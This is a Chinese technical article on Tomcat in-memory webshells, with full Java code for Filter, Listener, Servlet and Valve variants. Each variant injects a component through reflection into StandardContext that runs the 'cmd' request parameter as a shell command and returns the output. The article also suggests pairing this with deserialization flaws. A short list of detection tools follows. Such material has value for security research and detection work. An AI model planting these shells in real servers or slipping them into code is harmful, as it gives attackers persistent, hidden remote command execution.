Tomcat内存马——Filter/servlet/Listener/valve
字数 1146 2025-08-25 22:58:20

Tomcat内存马技术详解

一、内存马概述

内存马是一种驻留在服务器内存中的恶意程序,主要分为以下几类:

  1. servlet-api类

    • filter型
    • servlet型
    • listener型
  2. spring类

    • 拦截器
    • controller型
  3. Java Instrumentation类

    • agent型

二、Filter型内存马

实现原理

请求会经过filter到达servlet,动态创建filter放在最前面,就能实现命令执行。

关键数据结构

  • FilterDefs:存放FilterDef的数组,存储过滤器名、过滤器实例、作用url等基本信息
  • FilterConfigs:存放filterConfig的数组,主要存放FilterDef和Filter对象等信息
  • FilterMaps:存放FilterMap的数组,主要存放FilterName和对应的URLPattern

实现步骤

  1. 获取StandardContext
// 方法1:通过ServletContext获取
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);

ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

// 方法2:通过Request对象获取
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
  1. 创建恶意Filter
Filter filter = new Filter() {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        chain.doFilter(request, response);
    }
};
  1. 封装FilterDef并添加到StandardContext
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
  1. 创建FilterConfig并添加到FilterConfigs
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
  1. 创建FilterMap并添加到FilterMaps
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

三、Listener型内存马

实现原理

通过实现ServletRequestListener监听Request请求的创建和销毁。

实现步骤

  1. 获取StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
  1. 创建恶意Listener
ServletRequestListener listener = new ServletRequestListener() {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        HttpServletResponse resp = request1.getResponse();
        if (req.getParameter("cmd") != null) {
            try {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String out = s.hasNext()?s.next():"";
                resp.getWriter().write(out);
                resp.getWriter().flush();
            }catch (IOException ioe){
                ioe.printStackTrace();
            }
        }
    }
};
  1. 添加Listener
standardContext.addApplicationEventListener(listener);

四、Servlet型内存马

实现原理

通过动态添加Servlet实现命令执行。

实现步骤

  1. 获取StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
  1. 创建恶意Servlet
HttpServlet servlet = new HttpServlet() {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }
};
  1. 创建Wrapper并添加到Context
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletTrojan");
wrapper.setLoadOnStartup(1);  // 必须>=0才会被加载
wrapper.setServlet(servlet);
wrapper.setServletClass(HttpServlet.class.getName());
standardContext.addChild(wrapper);
  1. 添加Servlet映射
standardContext.addServletMappingDecoded("/*", "servletTrojan");

五、Valve型内存马

实现原理

Valve是Tomcat中对Container组件进行的扩展,通过实现Valve接口并添加到Pipeline中实现命令执行。

实现步骤

  1. 获取StandardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
  1. 获取StandardPipeline
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
  1. 创建并添加恶意Valve
ValveBase valveBase = new ValveBase() {
    @Override
    public void invoke(Request request, Response response) throws ServletException,IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
            this.getNext().invoke(request, response);  // 继续执行下一个Valve
        }
    }
};
standardPipeline1.addValve(valveBase);

六、内存马检测工具

  1. arthas:https://github.com/alibaba/arthas
  2. copagent:https://github.com/LandGrey/copagent
  3. java-memshell-scanner:https://github.com/c0ny1/java-memshell-scanner

七、注意事项

  1. Filter型内存马需要Tomcat 7.x以上版本支持
  2. Servlet型内存马需要设置LoadOnStartup>=0才会被加载
  3. 内存马会一直驻留直到Tomcat重启
  4. 实际环境中可能需要结合反序列化漏洞等进行注入
Tomcat内存马技术详解 一、内存马概述 内存马是一种驻留在服务器内存中的恶意程序,主要分为以下几类: servlet-api类 filter型 servlet型 listener型 spring类 拦截器 controller型 Java Instrumentation类 agent型 二、Filter型内存马 实现原理 请求会经过filter到达servlet,动态创建filter放在最前面,就能实现命令执行。 关键数据结构 FilterDefs :存放FilterDef的数组,存储过滤器名、过滤器实例、作用url等基本信息 FilterConfigs :存放filterConfig的数组,主要存放FilterDef和Filter对象等信息 FilterMaps :存放FilterMap的数组,主要存放FilterName和对应的URLPattern 实现步骤 获取StandardContext 创建恶意Filter 封装FilterDef并添加到StandardContext 创建FilterConfig并添加到FilterConfigs 创建FilterMap并添加到FilterMaps 三、Listener型内存马 实现原理 通过实现ServletRequestListener监听Request请求的创建和销毁。 实现步骤 获取StandardContext 创建恶意Listener 添加Listener 四、Servlet型内存马 实现原理 通过动态添加Servlet实现命令执行。 实现步骤 获取StandardContext 创建恶意Servlet 创建Wrapper并添加到Context 添加Servlet映射 五、Valve型内存马 实现原理 Valve是Tomcat中对Container组件进行的扩展,通过实现Valve接口并添加到Pipeline中实现命令执行。 实现步骤 获取StandardContext 获取StandardPipeline 创建并添加恶意Valve 六、内存马检测工具 arthas :https://github.com/alibaba/arthas copagent :https://github.com/LandGrey/copagent java-memshell-scanner :https://github.com/c0ny1/java-memshell-scanner 七、注意事项 Filter型内存马需要Tomcat 7.x以上版本支持 Servlet型内存马需要设置LoadOnStartup>=0才会被加载 内存马会一直驻留直到Tomcat重启 实际环境中可能需要结合反序列化漏洞等进行注入